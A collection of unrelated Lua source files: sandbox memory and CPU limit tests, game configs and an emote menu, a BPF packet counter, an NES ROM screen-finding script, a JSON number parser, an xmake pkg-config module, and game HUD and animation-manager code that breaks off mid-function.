print(runtime.callcontext({kill={memory=1000}}, string.char, s1000:byte(1, 1200)))
--> =killed
-- string.rep consumes memory
print(runtime.callcontext({kill={memory=1000}}, string.rep, "ha", 10))
--> =done hahahahahahahahahaha
print(runtime.callcontext({kill={memory=1000}}, string.rep, "ha", 600))
--> =killed
end
-- string.dump consumes memory and cpu
do
local function mk(n)
return load(
"x = 0\n" ..
("x = x + 1"):rep(n, "\n") ..
"\nreturn x"
)
end
print(mk(10)())
--> =10
-- A function with 12 lines is ok for CPU
local ctx = runtime.callcontext({kill={cpu=1000}}, string.dump, mk(10))
print(ctx)
--> =done
-- One with 500 lines runs out of CPU
print(runtime.callcontext({kill={cpu=1000}}, string.dump, mk(500)))
--> =killed
-- A function with 12 lines is ok for mem
local ctx = runtime.callcontext({kill={memory=1000}}, string.dump, mk(10))
print(ctx)
--> =done
-- One with 500 lines runs out of mem
print(runtime.callcontext({kill={cpu=1000}}, string.dump, mk(500)))
--> =killed
end
-- string.format consumes memory and cpu
do
-- a long format needs to be scanned and uses cpu
print(runtime.callcontext({kill={cpu=1000}}, string.format, ("a"):rep(50)))
--> =done aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
print(runtime.callcontext({kill={cpu=1000}}, string.format, ("a"):rep(1000)))
--> =killed
-- format requires memory to build the formatted string
local s = "aa"
print(runtime.callcontext({kill={memory=1000}}, string.format, "%s %s %s %s %s", s, s, s, s, s))
--> =done aa aa aa aa aa
s = ("a"):rep(1000)
print(runtime.callcontext({kill={memory=5000}}, string.format, "%s %s %s %s %s", s, s, s, s, s))
--> =killed
end
|
w_width = 1366
w_height = 768
function love.conf(t)
t.window.title = "Pong"
t.window.width = w_width
t.window.height = w_height
t.window.borderless = true
t.window.resizable = false
end
|
WireToolSetup.setCategory( "Vehicle Control" )
WireToolSetup.open( "exit_point", "Vehicle Exit Point", "gmod_wire_exit_point", nil, "Exit Points" )
if CLIENT then
language.Add( "tool."..TOOL.Mode..".name", TOOL.Name.." Tool (Wire)" )
language.Add( "tool."..TOOL.Mode..".desc", "Spawns a "..TOOL.Name )
WireToolSetup.setToolMenuIcon( "icon16/door_out.png" )
end
WireToolSetup.BaseLang()
WireToolSetup.SetupMax(6)
TOOL.ClientConVar = {
model = "models/jaanus/wiretool/wiretool_range.mdl",
}
WireToolSetup.SetupLinking(false, "vehicle")
function TOOL.BuildCPanel(panel)
ModelPlug_AddToCPanel(panel, "Misc_Tools", "wire_exit_point", true)
end
|
Config = {}
Config.Animations = {
{
name = 'festives',
label = 'Slavnostní',
items = {
{label = "Kouření cigarety", type = "scenario", data = {anim = "WORLD_HUMAN_SMOKING"}},
{label = "Hraní na hudební nástroj", type = "scenario", data = {anim = "WORLD_HUMAN_MUSICIAN"}},
{label = "DJ", type = "anim", data = {lib = "anim@mp_player_intcelebrationmale@dj", anim = "dj"}},
{label = "Pití", type = "scenario", data = {anim = "WORLD_HUMAN_DRINKING"}},
{label = "Párty", type = "scenario", data = {anim = "WORLD_HUMAN_PARTYING"}},
{label = "Hraní na imaginární kytaru", type = "anim", data = {lib = "anim@mp_player_intcelebrationmale@air_guitar", anim = "air_guitar"}},
{label = "Oslavování", type = "anim", data = {lib = "anim@mp_player_intcelebrationfemale@air_shagging", anim = "air_shagging"}},
{label = "Rock'n'roll", type = "anim", data = {lib = "mp_player_int_upperrock", anim = "mp_player_int_rock"}},
-- {label = "Kouření jointu", type = "scenario", data = {anim = "WORLD_HUMAN_SMOKING_POT"}},
{label = "Ožralecké balancování", type = "anim", data = {lib = "amb@world_human_bum_standing@drunk@idle_a", anim = "idle_a"}},
{label = "Zvracení v autě", type = "anim", data = {lib = "oddjobs@taxi@tie", anim = "vomit_outside"}},
}
},
{
name = 'greetings',
label = 'Pozdravy',
items = {
{label = "Pozdrav", type = "anim", data = {lib = "gestures@m@standing@casual", anim = "gesture_hello"}},
{label = "Podání ruky", type = "anim", data = {lib = "mp_common", anim = "givetake1_a"}},
{label = "Podání ruky 2", type = "anim", data = {lib = "mp_ped_interaction", anim = "handshake_guy_a"}},
{label = "Gangsterské objetí", type = "anim", data = {lib = "mp_ped_interaction", anim = "hugs_guy_a"}},
{label = "Salutování", type = "anim", data = {lib = "mp_player_int_uppersalute", anim = "mp_player_int_salute"}},
}
},
{
name = 'work',
label = 'Práce',
items = {
{label = "Podezřelý: vzdání se policii", type = "anim", data = {lib = "random@arrests@busted", anim = "idle_c"}},
{label = "Rybaření", type = "scenario", data = {anim = "world_human_stand_fishing"}},
{label = "Policie: vyšetřování", type = "anim", data = {lib = "amb@code_human_police_investigate@idle_b", anim = "idle_f"}},
{label = "Policie: mluvení do vysílačky", type = "anim", data = {lib = "random@arrests", anim = "generic_radio_chatter"}},
{label = "Policie: řízení dopravy", type = "scenario", data = {anim = "WORLD_HUMAN_CAR_PARK_ATTENDANT"}},
{label = "Policie: dalekohled", type = "scenario", data = {anim = "WORLD_HUMAN_BINOCULARS"}},
{label = "Zemědělství: sbírání", type = "scenario", data = {anim = "world_human_gardener_plant"}},
{label = "Mechanik: oprava motoru", type = "anim", data = {lib = "mini@repair", anim = "fixing_a_ped"}},
{label = "Lékař: prohlídka", type = "scenario", data = {anim = "CODE_HUMAN_MEDIC_KNEEL"}},
{label = "Taxi: mluvení k zákazníkovi", type = "anim", data = {lib = "oddjobs@taxi@driver", anim = "leanover_idle"}},
{label = "Taxi: dávání faktury", type = "anim", data = {lib = "oddjobs@taxi@cyi", anim = "std_hand_off_ps_passenger"}},
{label = "Prodavač: podávání zboží", type = "anim", data = {lib = "mp_am_hold_up", anim = "purchase_beerbox_shopkeeper"}},
{label = "Barman: nalití panáka", type = "anim", data = {lib = "mini@drinking", anim = "shots_barman_b"}},
{label = "Novinář: focení", type = "scenario", data = {anim = "WORLD_HUMAN_PAPARAZZI"}},
{label = "Jiná práce: zapisování poznámek", type = "scenario", data = {anim = "WORLD_HUMAN_CLIPBOARD"}},
{label = "Jiná práce: ťukání kladivem", type = "scenario", data = {anim = "WORLD_HUMAN_HAMMERING"}},
{label = "Tulák: držení cedule", type = "scenario", data = {anim = "WORLD_HUMAN_BUM_FREEWAY"}},
{label = "Tulák: imitace sochy", type = "scenario", data = {anim = "WORLD_HUMAN_HUMAN_STATUE"}},
}
},
{
name = 'humors',
label = 'Nálady',
items = {
{label = "Potlesk", type = "scenario", data = {anim = "WORLD_HUMAN_CHEERING"}},
{label = "Super", type = "anim", data = {lib = "mp_action", anim = "thanks_male_06"}},
{label = "Ukázání prstem", type = "anim", data = {lib = "gestures@m@standing@casual", anim = "gesture_point"}},
{label = "Pojď sem", type = "anim", data = {lib = "gestures@m@standing@casual", anim = "gesture_come_here_soft"}},
{label = "Tak co je?", type = "anim", data = {lib = "gestures@m@standing@casual", anim = "gesture_bring_it_on"}},
{label = "Já?", type = "anim", data = {lib = "gestures@m@standing@casual", anim = "gesture_me"}},
{label = "Já to věděl sakra", type = "anim", data = {lib = "anim@am_hold_up@male", anim = "shoplift_high"}},
{label = "Postávání", type = "scenario", data = {lib = "amb@world_human_jog_standing@male@idle_b", anim = "idle_d"}},
{label = "Je to v háji", type = "scenario", data = {lib = "amb@world_human_bum_standing@depressed@idle_a", anim = "idle_a"}},
{label = "Facepalm", type = "anim", data = {lib = "anim@mp_player_intcelebrationmale@face_palm", anim = "face_palm"}},
{label = "Klídek", type = "anim", data = {lib = "gestures@m@standing@casual", anim = "gesture_easy_now"}},
{label = "Co jsem to udělal?", type = "anim", data = {lib = "oddjobs@assassinate@multi@", anim = "react_big_variations_a"}},
{label = "Oh ne", type = "anim", data = {lib = "amb@code_human_cower_stand@male@react_cowering", anim = "base_right"}},
{label = "Bitka?", type = "anim", data = {lib = "anim@deathmatch_intros@unarmed", anim = "intro_male_unarmed_e"}},
{label = "To snad není možné!", type = "anim", data = {lib = "gestures@m@standing@casual", anim = "gesture_damn"}},
{label = "Polibek", type = "anim", data = {lib = "mp_ped_interaction", anim = "kisses_guy_a"}},
{label = "Fakování", type = "anim", data = {lib = "mp_player_int_upperfinger", anim = "mp_player_int_finger_01_enter"}},
{label = "Onanování", type = "anim", data = {lib = "mp_player_int_upperwank", anim = "mp_player_int_wank_01"}},
{label = "Kulka do hlavy", type = "anim", data = {lib = "mp_suicide", anim = "pistol"}},
}
},
{
name = 'sports',
label = 'Sporty',
items = {
{label = "Ukázání svalů", type = "anim", data = {lib = "amb@world_human_muscle_flex@arms_at_side@base", anim = "base"}},
{label = "Posilování", type = "anim", data = {lib = "amb@world_human_muscle_free_weights@male@barbell@base", anim = "base"}},
{label = "Klikování", type = "anim", data = {lib = "amb@world_human_push_ups@male@base", anim = "base"}},
{label = "Sedy lehy", type = "anim", data = {lib = "amb@world_human_sit_ups@male@base", anim = "base"}},
{label = "Jóga", type = "anim", data = {lib = "amb@world_human_yoga@male@base", anim = "base_a"}},
}
},
{
name = 'misc',
label = 'Ostatní',
items = {
{label = "Pití kávy", type = "anim", data = {lib = "amb@world_human_aa_coffee@idle_a", anim = "idle_a"}},
{label = "Sedění", type = "anim", data = {lib = "anim@heists@prison_heistunfinished_biztarget_idle", anim = "target_idle"}},
{label = "Opření o zeď", type = "scenario", data = {anim = "world_human_leaning"}},
{label = "Ležení na zádech", type = "scenario", data = {anim = "WORLD_HUMAN_SUNBATHE_BACK"}},
{label = "Ležení na břiše", type = "scenario", data = {anim = "WORLD_HUMAN_SUNBATHE"}},
{label = "Uklízení", type = "scenario", data = {anim = "world_human_maid_clean"}},
{label = "Grilování", type = "scenario", data = {anim = "PROP_HUMAN_BBQ"}},
{label = "Osobní prohlídka", type = "anim", data = {lib = "mini@prostitutes@sexlow_veh", anim = "low_car_bj_to_prop_female"}},
{label = "Focení selfie", type = "scenario", data = {anim = "world_human_tourist_mobile"}},
{label = "Poslouchání u dveří", type = "anim", data = {lib = "mini@safe_cracking", anim = "idle_base"}},
}
},
{
name = 'attitudem',
label = 'Postoje',
items = {
{label = "Normální muž", type = "attitude", data = {lib = "move_m@confident", anim = "move_m@confident"}},
{label = "Normální žena", type = "attitude", data = {lib = "move_f@heels@c", anim = "move_f@heels@c"}},
{label = "Deprese muž", type = "attitude", data = {lib = "move_m@depressed@a", anim = "move_m@depressed@a"}},
{label = "Deprese žena", type = "attitude", data = {lib = "move_f@depressed@a", anim = "move_f@depressed@a"}},
{label = "Business", type = "attitude", data = {lib = "move_m@business@a", anim = "move_m@business@a"}},
{label = "Odhodlaný", type = "attitude", data = {lib = "move_m@brave@a", anim = "move_m@brave@a"}},
{label = "Běžný", type = "attitude", data = {lib = "move_m@casual@a", anim = "move_m@casual@a"}},
{label = "Přejezení", type = "attitude", data = {lib = "move_m@fat@a", anim = "move_m@fat@a"}},
{label = "Hipster", type = "attitude", data = {lib = "move_m@hipster@a", anim = "move_m@hipster@a"}},
{label = "Zranění", type = "attitude", data = {lib = "move_m@injured", anim = "move_m@injured"}},
{label = "Pospíchání", type = "attitude", data = {lib = "move_m@hurry@a", anim = "move_m@hurry@a"}},
{label = "Bezdomovec", type = "attitude", data = {lib = "move_m@hobo@a", anim = "move_m@hobo@a"}},
{label = "Smutný", type = "attitude", data = {lib = "move_m@sad@a", anim = "move_m@sad@a"}},
{label = "Svalnatost", type = "attitude", data = {lib = "move_m@muscle@a", anim = "move_m@muscle@a"}},
{label = "Šokovaný", type = "attitude", data = {lib = "move_m@shocked@a", anim = "move_m@shocked@a"}},
{label = "Podezřelý", type = "attitude", data = {lib = "move_m@shadyped@a", anim = "move_m@shadyped@a"}},
{label = "Únava", type = "attitude", data = {lib = "move_m@buzzed", anim = "move_m@buzzed"}},
{label = "Uspěchanost", type = "attitude", data = {lib = "move_m@hurry_butch@a", anim = "move_m@hurry_butch@a"}},
{label = "Pyšný", type = "attitude", data = {lib = "move_m@money", anim = "move_m@money"}},
{label = "Sprint", type = "attitude", data = {lib = "move_m@quick", anim = "move_m@quick"}},
{label = "Gay", type = "attitude", data = {lib = "move_f@maneater", anim = "move_f@maneater"}},
{label = "Drzost", type = "attitude", data = {lib = "move_f@sassy", anim = "move_f@sassy"}},
{label = "Arogance", type = "attitude", data = {lib = "move_f@arrogant@a", anim = "move_f@arrogant@a"}},
}
},
{
name = 'porn',
label = 'Sex',
items = {
{label = "Kouření v autě - muž", type = "anim", data = {lib = "oddjobs@towing", anim = "m_blow_job_loop"}},
{label = "Kouření v autě - žena", type = "anim", data = {lib = "oddjobs@towing", anim = "f_blow_job_loop"}},
{label = "Sex v autě - muž", type = "anim", data = {lib = "mini@prostitutes@sexlow_veh", anim = "low_car_sex_loop_player"}},
{label = "Sex v autě - žena", type = "anim", data = {lib = "mini@prostitutes@sexlow_veh", anim = "low_car_sex_loop_female"}},
{label = "Škrabání v rozkroku", type = "anim", data = {lib = "mp_player_int_uppergrab_crotch", anim = "mp_player_int_grab_crotch"}},
{label = "Stání prostitutky", type = "anim", data = {lib = "mini@strip_club@idles@stripper", anim = "stripper_idle_02"}},
{label = "Póza prostitutky", type = "scenario", data = {anim = "WORLD_HUMAN_PROSTITUTE_HIGH_CLASS"}},
{label = "Ukázání prsou", type = "anim", data = {lib = "mini@strip_club@backroom@", anim = "stripper_b_backroom_idle_b"}},
{label = "Striptýz", type = "anim", data = {lib = "mini@strip_club@lap_dance@ld_girl_a_song_a_p1", anim = "ld_girl_a_song_a_p1_f"}},
{label = "Striptýz 2", type = "anim", data = {lib = "mini@strip_club@private_dance@part2", anim = "priv_dance_p2"}},
{label = "Striptýz 3", type = "anim", data = {lib = "mini@strip_club@private_dance@part3", anim = "priv_dance_p3"}},
}
}
}
|
#!/usr/bin/env bcc-lua
--[[
Copyright 2016 Marek Vavrusa <mvavrusa@cloudflare.com>
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
]]
-- This program looks at IP, UDP and ICMP packets and
-- increments counter for each packet of given type seen
-- Rewrite of https://github.com/torvalds/linux/blob/master/samples/bpf/sock_example.c
local ffi = require("ffi")
local bpf = require("bpf")
---local S = require("syscall")
-- Shared part of the program
local map = bpf.map('hash', 256)
map[1], map[6], map[17] = 0, 0, 0
-- Kernel-space part of the program
bpf.socket('lo', function (skb)
local proto = pkt.ip.proto -- Get byte (ip.proto) from frame at [23]
xadd(map[proto], 1) -- Atomic `map[proto] += 1`
end)
-- User-space part of the program
for _ = 1, 10 do
local icmp, udp, tcp = map[1], map[17], map[6]
print(string.format('TCP %d UDP %d ICMP %d packets',
tonumber(tcp or 0), tonumber(udp or 0), tonumber(icmp or 0)))
--- S.sleep(1)
end
|
START_ADDR = 0x10
END_ADDR = rom.readbyte(4) * 0x4000 + 0x10
CUR_ADDR = START_ADDR
STEP = 1
CDL_FILE = "diff.cdl"
WRITE_VALUE = 0x33
FRAME_FOR_SCREEN = 0
cdlData = ""
--------------------------------------------------------
function atSave(i)
print(i)
local curSave = savestate.create()
savestate.save(curSave)
savestate.load(savestate.create(2))
frame1 = emu.framecount()
savestate.load(curSave) -- need to reload for right value of framecount() for savestate
savestate.load(savestate.create(3))
frame2 = emu.framecount()
savestate.load(curSave)
print("save:"..tostring(frame1).."-"..tostring(frame2))
if i == 1 then
cdlog.docdlogger()
cdlog.resetcdlog()
cdlog.startcdlogging()
elseif i == 2 then
cdlog.pausecdlogging()
cdlog.savecdlogfileas(CDL_FILE)
end
end
savestate.registersave(atSave)
--------------------------------------------------------
function readCdlMask(CUR_ADDR)
return bit.band(string.byte(cdlData:sub(CUR_ADDR+0x10,CUR_ADDR+0x10)), 0x22)
end
function start()
savestate.load(savestate.create(3))
FRAME_FOR_SCREEN = emu.framecount()
cdlFile = assert(io.open(CDL_FILE, "rb"))
cdlData = cdlFile:read("*all")
shas = {}
CYCLES = 0
emu.speedmode("maximum");
lastValue = rom.readbyte(START_ADDR)
savestate.load(savestate.create(2))
needReturn = true
while (true) do
if emu.framecount() > FRAME_FOR_SCREEN then
if needReturn then
local ppuNametable = ppu.readbyterange(0x2000, 0x400)
local hash = gethash(ppuNametable, string.len(ppuNametable));
if (not shas[hash]) then
print("Found new screen at addr "..string.format("%05X", CUR_ADDR).." hash "..tostring(hash));
local fname = string.format("snaps/%05X", CUR_ADDR)..".png";
gui.savescreenshotas(fname);
emu.frameadvance();
shas[hash] = true;
end;
rom.writebyte(CUR_ADDR, lastValue);
needReturn = false;
end;
CUR_ADDR = CUR_ADDR + STEP;
CYCLES = CYCLES + 1;
if (CYCLES % 100) == 0 then
print(string.format("%05X", CUR_ADDR));
end;
if (CUR_ADDR > END_ADDR) then
gui.text(20,20, string.format("WORK COMPLETE!"));
emu.pause();
end;
local cdlCharMask = readCdlMask(CUR_ADDR)
if cdlCharMask ~= 0 then
lastValue = rom.readbyte(CUR_ADDR);
rom.writebyte(CUR_ADDR, WRITE_VALUE);
needReturn = true;
savestate.load(savestate.create(2))
end;
--fast check of cdl data
while cdlCharMask == 0 and CUR_ADDR < END_ADDR do
CUR_ADDR = CUR_ADDR + STEP
cdlCharMask = readCdlMask(CUR_ADDR)
end
end;
emu.frameadvance();
end;
end
--------------------------------------------------------
while (true) do
local t = input.get()
if t["E"] then
break
end
emu.frameadvance();
end
print "!!!"
start()
|
--[[
Licensed according to the included 'LICENSE' document
Author: Thomas Harning Jr <harningt@gmail.com>
]]
local lpeg = require("lpeg")
local tonumber = tonumber
local merge = require("json.util").merge
local util = require("json.decode.util")
module("json.decode.number")
local digit = lpeg.R("09")
local digits = digit^1
int = (lpeg.P('-') + 0) * (lpeg.R("19") * digits + digit)
local int = int
local frac = lpeg.P('.') * digits
local exp = lpeg.S("Ee") * (lpeg.S("-+") + 0) * digits
local nan = lpeg.S("Nn") * lpeg.S("Aa") * lpeg.S("Nn")
local inf = lpeg.S("Ii") * lpeg.P("nfinity")
local ninf = lpeg.P('-') * lpeg.S("Ii") * lpeg.P("nfinity")
local hex = (lpeg.P("0x") + lpeg.P("0X")) * lpeg.R("09","AF","af")^1
local defaultOptions = {
nan = true,
inf = true,
frac = true,
exp = true,
hex = false
}
default = nil -- Let the buildCapture optimization take place
strict = {
nan = false,
inf = false
}
local nan_value = 0/0
local inf_value = 1/0
local ninf_value = -1/0
--[[
Options: configuration options for number rules
nan: match NaN
inf: match Infinity
frac: match fraction portion (.0)
exp: match exponent portion (e1)
DEFAULT: nan, inf, frac, exp
]]
local function buildCapture(options)
options = options and merge({}, defaultOptions, options) or defaultOptions
local ret = int
if options.frac then
ret = ret * (frac + 0)
end
if options.exp then
ret = ret * (exp + 0)
end
if options.hex then
ret = hex + ret
end
-- Capture number now
ret = ret / tonumber
if options.nan then
ret = ret + nan / function() return nan_value end
end
if options.inf then
ret = ret + ninf / function() return ninf_value end + inf / function() return inf_value end
end
return ret
end
function register_types()
util.register_type("INTEGER")
end
function load_types(options, global_options, grammar)
local integer_id = util.types.INTEGER
local capture = buildCapture(options)
util.append_grammar_item(grammar, "VALUE", capture)
grammar[integer_id] = int / tonumber
end
|
--!A cross-platform build utility based on Lua
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
--
-- Copyright (C) 2015-2020, TBOOX Open Source Group.
--
-- @author ruki
-- @file pkg_config.lua
--
-- imports
import("core.base.global")
import("core.project.target")
import("core.project.config")
import("lib.detect.find_file")
import("lib.detect.find_library")
import("detect.tools.find_pkg_config")
-- get version
--
-- @param name the package name
-- @param opt the argument options, {configdirs = {"/xxxx/pkgconfig/"}}
--
function version(name, opt)
-- attempt to add search paths from pkg-config
local pkg_config = find_pkg_config()
if not pkg_config then
return
end
-- init options
opt = opt or {}
-- init PKG_CONFIG_PATH
local configdirs_old = os.getenv("PKG_CONFIG_PATH")
local configdirs = table.wrap(opt.configdirs)
if #configdirs > 0 then
os.setenv("PKG_CONFIG_PATH", unpack(configdirs))
end
-- get version
local version = try { function() return os.iorunv(pkg_config, {"--modversion", name}) end }
if version then
version = version:trim()
end
-- restore PKG_CONFIG_PATH
if configdirs_old then
os.setenv("PKG_CONFIG_PATH", configdirs_old)
end
-- ok?
return version
end
-- get variables
--
-- @param name the package name
-- @param variables the variables
-- @param opt the argument options, {configdirs = {"/xxxx/pkgconfig/"}}
--
function variables(name, variables, opt)
-- attempt to add search paths from pkg-config
local pkg_config = find_pkg_config()
if not pkg_config then
return
end
-- init options
opt = opt or {}
-- init PKG_CONFIG_PATH
local configdirs_old = os.getenv("PKG_CONFIG_PATH")
local configdirs = table.wrap(opt.configdirs)
if #configdirs > 0 then
os.setenv("PKG_CONFIG_PATH", unpack(configdirs))
end
-- get variable value
local result = nil
if variables then
for _, variable in ipairs(table.wrap(variables)) do
local value = try { function () return os.iorunv(pkg_config, {"--variable=" .. variable, name}) end }
if value ~= nil then
result = result or {}
result[variable] = value:trim()
end
end
end
-- restore PKG_CONFIG_PATH
if configdirs_old then
os.setenv("PKG_CONFIG_PATH", configdirs_old)
end
-- ok?
return result
end
-- get library info
--
-- @param name the package name
-- @param opt the argument options, {version = true, variables = "includedir", configdirs = {"/xxxx/pkgconfig/"}}
--
-- @return {links = {"ssl", "crypto", "z"}, linkdirs = {""}, includedirs = {""}, version = ""}
--
-- @code
--
-- local libinfo = pkg_config.libinfo("openssl")
--
-- @endcode
--
function libinfo(name, opt)
-- attempt to add search paths from pkg-config
local pkg_config = find_pkg_config()
if not pkg_config then
return
end
-- init options
opt = opt or {}
-- init PKG_CONFIG_PATH
local configdirs_old = os.getenv("PKG_CONFIG_PATH")
local configdirs = table.wrap(opt.configdirs)
if #configdirs > 0 then
os.setenv("PKG_CONFIG_PATH", unpack(configdirs))
end
-- get libs and cflags
local result = nil
local flags = try { function () return os.iorunv(pkg_config, {"--libs", "--cflags", name}) end }
if flags then
-- init result
result = {}
for _, flag in ipairs(os.argv(flags)) do
if flag:startswith("-L") and #flag > 2 then
-- get linkdirs
local linkdir = flag:sub(3)
if linkdir and os.isdir(linkdir) then
result.linkdirs = result.linkdirs or {}
table.insert(result.linkdirs, linkdir)
end
elseif flag:startswith("-I") and #flag > 2 then
-- get includedirs
local includedir = flag:sub(3)
if includedir and os.isdir(includedir) then
result.includedirs = result.includedirs or {}
table.insert(result.includedirs, includedir)
end
elseif flag:startswith("-l") and #flag > 2 then
-- get links
local link = flag:sub(3)
result.links = result.links or {}
table.insert(result.links, link)
end
end
end
-- get version
local version = try { function() return os.iorunv(pkg_config, {"--modversion", name}) end }
if version then
result = result or {}
result.version = version:trim()
end
-- restore PKG_CONFIG_PATH
if configdirs_old then
os.setenv("PKG_CONFIG_PATH", configdirs_old)
end
return result
end
|
local ModInventoryControl = Class.create("ModInventoryControl", Entity)
local Keymap = require "xl.Keymap"
local InventoryMenu = require "state.InventoryMenu"
local Inventory = require "xl.Inventory"
function ModInventoryControl:create( )
self.keyItemList = self.keyItemList or {}
self.canPressUse = true
--initializes sprite and hud
if not (self.sprites and self.healthbar and self.guardbar and self.equipIcons) then
-- create sprite
-- self:addSpritePieces(require("assets.spr.player.PceIrrelevant"))
-- self.animations = require "assets.spr.player.AneIrrelevant"
self.imgX = 64
self.imgY = 64
self.initImgH = 64
self.initImgW = 64
-- healthbar
self.healthbar = Healthbar( self.max_health )
self.healthbar.fgcolor = { 150, 0, 0 }
self.healthbar.redcolor = { 255, 0, 0 }
self.healthbar:setPosition( 72, 5 )
self.healthbar.bgcolor = {100,100,100}
--self.healthbar:setImage(love.graphics.newImage( "assets/HUD/interface/marble.png" ))
-- guardbar
self.guardbar = Healthbar( self.max_light )
self.guardbar.fgcolor = { 40, 200, 40 }
self.guardbar:setPosition( 72, 20 )
self.guardbar:setImage(love.graphics.newImage( "assets/HUD/interface/gold.png" ))
--Primary Equip Icon
self.equipIcons = {}
if self.currentPrimary then
self.equipIcons["primary"] = EquipIcon( self.currentPrimary.invSprite )
self.equipIcons["primary"]:setPosition( 2 , 2 )
else
self.equipIcons["primary"] = EquipIcon( nil )
self.equipIcons["primary"]:setPosition( 2 , 2 )
end
--Equip Icon
self.equipIcons["up"] = EquipIcon(nil)
self.equipIcons["up"]:setPosition(2,74)
self.equipIcons["neutral"] = EquipIcon(nil)
self.equipIcons["neutral"]:setPosition(2,146)
self.equipIcons["down"] = EquipIcon(nil)
self.equipIcons["down"]:setPosition(2,218)
for k,v in pairs(self.currentEquips) do
if self.equipIcons[k] then
self.equipIcons[k]:setImage(v.invSprite)
end
end
self.TextInterface = TextInterface()
end
Game.hud:insert( self.healthbar )
Game.hud:insert( self.guardbar )
Game.hud:insert( self.TextInterface )
for k,v in pairs(self.equipIcons) do
Game.hud:insert( v )
end
end
return ModInventoryControl
|
return {
vec2 = require "lib.vec2",
vec3 = require "lib.vec3",
vec4 = require "lib.vec4",
}
|
require('plugins/line-theme/evil_lualine')
-- require('plugins/line-theme/bubbles')
|
include("terms")
style =
{["off_color"] = "cff",
["on_color"] = "cff",
["line_color"] = "000",
["line_width"] = "2"};
text_style = {["font_size"] = "16"}
meas = {"\(^\circ\)", "'"}
symb = "\(\angle\)"
numb = {}
ang_g = {}
ang_m = {}
index = {}
fact = {}
qq = {}
answ = {}
index = {3, 4, 5, 5, 6, 8, 10}
fact = {1, 1, 1, 2, 1, 3, 3}
dim = 7
numb = {"α", "β", "γ", "δ"}
dat = ""
ind = math.random(2)
if (ind == 1) then
sign = math.random(3)
angle_g = 60 +(2 - sign) * math.random(9)
angle_m = 2 * (math.random(30) - 1)
angle = angle_g * 60 + angle_m
dat = choice[1]
if (angle_g ~= 0) then
dat= dat .. " " .. angle_g .. meas[1] .. " "
end
if (angle_m ~= 0) then
dat = dat .. angle_m .. meas[2] .. " "
end
else
sign = math.random(dim)
tmp = math.floor(10800/index[sign])
angle = tmp * fact[sign]
enum = index[sign] - fact[sign]
denom = fact[sign]
factor = math.floor(enum/denom)
rest = enum - factor * denom
if (rest == 0) then
dat = factor .. " " .. choice[2]
else
dat = "\(\frac{" .. enum .. "}{" .. denom .. "}\)" .. " " .. choice[2]
end
end
if (ind == 1) then
temp = 90 * 60 - math.floor(angle/2)
ang_g[1] = math.floor(temp/60)
ang_m[1] = temp - 60 * ang_g[1]
ang_g[2] = math.floor((angle + temp)/60)
ang_m[2] = angle + temp - 60 * ang_g[2]
else
ang_g[1] = math.floor(angle/60)
ang_m[1] = angle - 60 * ang_g[1]
temp = tmp * (index[sign] - fact[sign])
ang_g[2] = math.floor(temp/60)
ang_m[2] = temp - 60 * ang_g[2]
end
ang_g[3] = ang_g[1]
ang_m[3] = ang_m[1]
ang_g[4] = ang_g[2]
ang_m[4] = ang_m[2]
for i = 1,4 do
answ[i] = ""
if (ang_g[i] ~= 0) then
answ[i] = answ[i] .. lib.check_number(ang_g[i],30) .. meas[1] .. " "
end
if (ang_m[i] ~= 0) then
answ[i] = answ[i] .. lib.check_number(ang_m[i],20) .. meas[2] .. " "
end
end
mycanvas = function(no)
lib.start_canvas(220, 130, "center")
ow = 10
w = 120
ov = 100
v = 30
lib.add_straight_path(2*v, 2*ow, {{w, 0}, {-2*v+ow, ov-2*ow}, {-w, 0}, {2*v-ow, -ov+2*ow}}, style, true, false)
lib.add_text(ow, ov+ow, "A", text_style)
lib.add_text(ow+w, ov+ow, "B", text_style)
lib.add_text(2*v+w, ow, "C", text_style)
lib.add_text(2*v, ow, "D", text_style)
lib.add_text(2*ow+5, ov-ow, numb[1], text_style)
lib.add_text(w, ov-ow, numb[2], text_style)
lib.add_text(2*v+w-2*ow, 3*ow, numb[3], text_style)
lib.add_text(2*v+5, 3*ow, numb[4], text_style)
lib.end_canvas()
end
|
local _hxClasses = {}
local Int = _hx_e();
local Dynamic = _hx_e();
local Float = _hx_e();
local Bool = _hx_e();
local Class = _hx_e();
local Enum = _hx_e();
|
require("core/object");
AnimManager = class();
AnimDef =
{
FILE = 1;
CLASS = 2;
GROUPID = 3;
};
AnimManager.getInstance = function()
if not AnimManager.s_instance then
AnimManager.s_instance = new(AnimManager);
end
return AnimManager.s_instance;
end
AnimManager.releaseInstance = function()
delete(AnimManager.s_instance);
AnimManager.s_instance = nil;
end
AnimManager.ctor = function(self)
self.m_anims = {};
self.m_groups = {};
self.m_defaultGroupId = "default";
end
AnimManager.dtor = function(self)
self.m_anims = nil;
self.m_groups = nil;
end
AnimManager.setAnimDefs = function(self, animDefs)
self.m_animDefs = animDefs or {};
end
AnimManager.loadAnim = function(self, animId,...)
if self:cacheAnim(animId) then
self.m_anims[animId].load(...);
return true;
end
return false;
end
AnimManager.playAnim = function(self, animId,...)
if self:cacheAnim(animId) then
local node = self.m_anims[animId].play(...);
return node;
end
return false;
end
AnimManager.stopAnim = function(self, animId,...)
if self.m_anims[animId] then
self.m_anims[animId].stop(...);
end
end
AnimManager.releaseAnim = function(self, animId,...)
if (not animId) or (not self.m_animDefs[animId]) then
return false;
end
if self.m_anims[animId] then
self.m_anims[animId].release(...);
end
end
AnimManager.loadGroup = function(self, groupId)
groupId = groupId or self.m_defaultGroupId;
for k,v in pairs(table.verify(self.m_animDefs)) do
if v[AnimDef.GROUPID] == groupId then
self:loadAnim(k);
end
end
end
AnimManager.releaseGroup = function(self, groupId)
groupId = groupId or self.m_defaultGroupId;
for _,v in pairs(self.m_groups[groupId] or {}) do
local anim = self.m_anims[v];
if anim then
